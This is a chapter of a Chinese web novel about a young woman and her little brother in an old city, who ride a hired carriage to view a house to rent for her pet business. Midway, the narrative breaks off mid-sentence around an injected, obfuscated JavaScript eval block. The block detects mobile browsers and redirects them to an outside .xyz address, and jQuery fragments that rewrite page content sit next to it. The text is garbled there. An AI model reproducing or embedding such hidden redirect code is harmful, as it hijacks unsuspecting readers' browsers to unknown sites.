今日祺哥儿起得特别早，他小心翼翼地爬下床榻，不想惊扰到还在熟睡的阿娘。蹑手蹑脚走至门边，轻轻拉开房门，控制着不让门发出丁点声音，先高抬起右脚，向前卖了一大步跨出门槛，又转身向着门内方向，提起左脚向后一收，接着用同样轻巧的动作关上房门，整个人便成功出门了。


    此时院子中当然没有人，天上的圆月还未消失，但天色已然开始泛白了。祺哥儿先走到鸡棚边向内望去，只见两只母鸡都窝在稻草堆上昏昏欲睡，小鸡们全围在它们身边取暖。他极有干劲地打开杈子进到鸡棚里，拿起扫帚开始打扫起来。


    听到声响的粉鼻慢悠悠从厨房探出了脑袋，它先观察了四周，没发现异状，才昂首挺胸走了出来。先围着院子走了一圈，小鼻子边走边闻，最后来到鸡棚边，后腿发力，纵身一跃便跳到了杈子上，稳稳当当坐在上面，盯着祺哥儿不动了。


    祺哥儿一点儿也没留意，他正乐呵呵地将鸡棚从东扫到西，里里外外扫了两遍，叉着腰看了半晌，只觉窗明几净，才舒心地放下了扫帚。劲儿似乎还没用完，又开始寻摸起其他事情做，见水缸里的水不多了，走至厨房拿出个空桶，犹豫了一阵，就要开门出去打水。


    周袅袅此时正好从卧房中走出来，一见祺哥儿的架势便被逗笑了，忙上前制止：“小心被拍花子的拍走，我正要去打水，哪里轮得上你？若真想帮忙，昨儿牛绣娘和孙绣娘刚制了几个逗猫棒，你与粉鼻两个试用一下，看看合不合意。”


    “诶！”祺哥儿也爱干这个，他将水桶交予阿姊，转身跑回正房，从阿姊新置办来的柜子里翻腾出两根崭新的逗猫棒来，一根缠着小鱼，一根是蝴蝶的，都被两位绣娘缝制的小巧可爱。


    这一番响动吵醒了向大娘，她翻了个身，没好气地骂道：“一大早上不睡觉，非要连老娘也折腾醒！不知我身子不好吗？我看早晚有一天你们姐弟要把我吓死！”


    祺哥儿吐了吐舌头，蒙头就跑，粉鼻正蹲在正房门口等着他，见他风似的跑出来，也瞬间提速跟上，一人一猫将整个院子都搅活了。


    六只幼犬也醒了，跟在粉鼻身后狂奔，哈欠和哈喇还扯着嗓子叫个不停，将隔壁湖哥儿的胖肚皮惹得同样狂吠不止，隐隐有于大妈骂骂咧咧的声音从隔壁传过来，祺哥儿赶紧止住脚步，将食指抵在唇上，蹑手蹑脚带着一猫六狗回到厨房顽了。


    周袅袅提着两只水桶来到水井处，此时老鸦巷的居民们都还没起，水井旁没有一个人。她俯下身，将水桶拴在绳子上，慢慢放入井中，感受到沉重的手感后再拉上来，如此这般两回，两桶水便打好了。俯下身用硬拉的方式提起两个桶，核心用力，憋住一口气回到了院子。来回五次，终于将水桶填满。


    饶是她每日做此活计，此时也累得直喘气。祺哥儿赶忙端了热水来，她咕嘟咕嘟喝了一大碗才罢。“水打好了，快洗漱罢。今日要早些出门，你也长大了，一会子我给你梳个单髻试试。”


    祺哥儿自然欢喜，乐呵呵从水缸中舀水洗漱。周袅袅也三两下将自己拾掇干净，精心梳了个双螺髻，特意穿了件短上衣，整个人显得格外精神。给祺哥儿梳了单髻，斜歪着坠在偏左的位置，便有些大孩子地模样了。


    今日事情多，她决定不做朝食，出门左拐，就在不远处的秦老五胡饼店买了三张胡饼回来，他家的胡饼咬下去满口香酥甜糯，姐弟俩给向大娘留了一张，就着前几天腌制的小咸菜，吃得格外满足。


    不多时，门口传来了叫门声。周袅袅牵着祺哥儿一起来至门边，开门一瞧，果然是立雪。小大人一般穿了件童子服，他是专门来接二人去看房的，想着不能落了自家五哥儿的体面，今日也收拾地齐整了些。见到两人便笑吟吟道：“周娘子，祺哥儿，马车就停在巷口了，咱们直接过去便是。”


    “多谢立雪小哥。”周袅袅忙道。


    “多谢立雪哥。”祺哥儿也难得开了口，认真谢过立雪。


    两人沿着巷子一直走，在巷口看见一辆马车。他们还从未坐过马车，此时均感觉有些新鲜，祺哥儿看着马车前的大马，兴奋的双眼放光，恨不能立即爬上去仔细瞧瞧。周袅袅也有些欢喜，问道：“这是许郎君家的车吗？”


    立雪却摇头：“不是的，许家只有大老爷和大娘子有车，这车是我刚赁的，惯常送五哥儿往来书院，都是直接到巷口车马行赁车，方便得紧。”


    周袅袅更感兴趣了，坐在车上还不忘继续向立雪打听这赁车的门道。在听闻价格后，心中开始盘算起明年祺哥儿上学的事，想着到时似乎也可赁一辆来接送。


    “五哥儿让咱们今日早些过去，下午他们还要回太学听什么先生讲《易》，不能缺席。因他们离着近，便分了两路，各自前往。”立雪为自家五哥儿解释着今日早早出门的缘由。


    “我正想着早些去看呢，许郎君与我想到一块儿去了。”周袅袅笑道，“这宅子一天没落定，我这心便不得安定。若今日便能将房子赁下，也能早些安排，让许郎君早日放心。”


    一听此话，立雪立即眉开眼笑：“周娘子真能人也，你这劲头，我是拍马不及的。”


    “不提许郎君投得这五百贯，我还欠着解库五十贯呢。勤快些赚的就多些，早日还完欠款，无事一身轻。”


    见周袅袅说得轻描淡写，立雪更觉她是有大志向的人，一时竟又敬重了几分。祺哥儿早已用崇拜的目光看向阿姊，只觉没有比她更厉害的人了。


    此时过了上衙的时间，街上的人已不太多，马车缓缓前行，向北直行直龙泽桥后，再朝着东南方向前行，很快便来到了小南门附近。这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503952|181728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    段路她没走过，此时也新奇地掀开窗帘向外看，祺哥儿将脑袋伸得老长，看到什么都感觉有趣。


    这片区域或因学子常经过，地面更为平整，方便马车前行。路也更加宽广，两侧郁郁葱葱种着柳树，因少有摆摊的小贩堵路，显得格外敞亮大气。附近的店铺多为书画坊与食铺，想来是为方便教授与学子们而设，拐角总有些夹巷，里面能看到有人进进出出，似是住在此处的居民，每个人都显得闲适而清雅，书卷气极浓。


    看到这样的环境，周袅袅想搬家的心又迫切了些，同现在住的地方相比，这里无论是环境亦或邻居都要强得多，更勿论学子教授众多，想来对祺哥儿的学业也是有所裨益。


    “前面便是了。”立雪适时介绍道：“这宅子在蔡河边，平常去夜市也方便，小南门更是学子们常走的道路，故此处的脚店较多，他们有时从学院出来打牙祭，多是停留于此的。”


    周袅袅听着，心中也在盘算，但她没出声，只跟着立雪下了马车，拐进了一个不大的巷口，还未等她仔细观瞧，迎面已走来两人。走在前面的身形高瘦，面庞清俊，气质如松，正是许五郎。他身后跟着一名书生，体态稍胖，面庞略显鼓胀，但天生一张笑面，显得极为可亲，应是那黄七郎了。


    “见过周娘子。”许世安远远便瞧见周袅袅一行人，带着黄寄之前行几步迎了上去，给双方做着介绍：“这便是房主黄寄之，这栋宅子便是他家的。这位是周娘子，想租用你家宅子做些猫狗生意。”


    还未等周袅袅说话，黄寄之先行一步，笑面相迎：“早就听闻周娘子大名，我们斋中也有那购得了牵引绳的，前些日子牵了他家狗来，好生炫耀。却没想九如已然先我们一步搭上了周娘子的东风。”


    “黄郎君说笑了，我这都是小本买卖，全仗许郎君看得起。”周袅袅自然要赞上几句金主，此时说出来也是情真意切。


    “的确是我搭了周娘子的东风，就等风起时借力上青云呢。”许世安与同窗在一起，也少了几分拘谨，言语间轻快不少，“外面风大，寄之还不请我们进去瞧瞧？”


    “对对对，我倒忘了正事，快请进！”黄七郎在前引路，几人很快便来到了一栋宅院前。


    还未走到近前，周袅袅便看出了这栋宅院的与众不同。虽建造规格与旁边的几栋宅子无异，但能明显看出用料扎实、做工细致，就连屋檐上的飞燕都雕刻地栩栩如生。走入宅子后，更觉视野宽阔，虽只有两进，但一进门便有巨大的厅堂，显得格外宽敞，视觉上很有冲击力。


    “这里原没有如此大的厅堂，还是我母亲想要自己做正店，专门改造的。”黄七郎看着眼前的宅院，有些唏嘘，他还是希望能保留一些阿娘的痕迹：“周娘子可到处转转，若能保持现在的格局不动，租金也可再谈。”